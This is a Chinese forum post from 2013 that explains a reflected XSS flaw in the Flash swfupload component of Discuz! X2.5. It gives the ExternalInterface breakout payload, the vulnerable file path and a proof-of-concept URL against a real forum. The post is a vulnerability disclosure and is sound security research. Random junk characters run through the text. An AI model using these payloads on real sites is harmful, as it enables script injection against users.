找回密码
 立即注册
查看: 2521|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
9 d- m: @  ~+ D4 x
6 r2 }! W0 e* M) h5 Fflash.external.ExternalInterface.call($methodName, $parameter)2 o8 C: ]' o3 ]2 j7 a9 T2 X7 z
在浏览器中执行的是+ ~) e: n3 S2 a9 S$ n' L1 J1 V) r

/ Y% {% }: R* i4 S* K0 Etry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
& {8 d4 ?. z1 B* ]4 Y对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如3 @% S  z; [3 _+ {

8 {6 S4 F) i6 a( Z) Y  W# Cflash.external.ExternalInterface.call("object."+$methodName, $parameter)1 u' t$ [% J  b9 Z6 s+ U
$methodName = a())}catch(e){alert(/xss/)}//0 F/ f/ Y0 y, c8 x
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
2 q5 W0 Y4 a9 y: F; M) c* N
% X7 v- ^$ h; ^+ ?, D$ ~0 _try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }5 i  u. b; y* [3 w/ n- H
9 }  Y2 @6 j1 p; q6 P0 z
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! d5 X8 }0 q/ b. G$ V( s杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。& {: B3 _9 x5 H0 P: Q

) a4 U4 n! g  S
# N7 `3 m" k" C0 l  n
) ^; T5 c  {6 F. Z9 T- y5 {漏洞文件:upload\static\image\common\swfupload.swf$ |& C! s+ a# Q" b" D8 C' p
8 D7 b5 |: M/ h% r0 i) a; N+ q
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
" Q- Y/ O4 Y2 W; ~6 J4 D" W' a; q1 A, M" x8 d, X) ~$ _- H

7 {8 b: T/ M$ x1 _% [漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//3 }; W$ e% Z8 L2 p1 a4 o
7 V' u0 G, r6 `* f" W( U

5 J6 p  ?4 C/ i( u$ F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表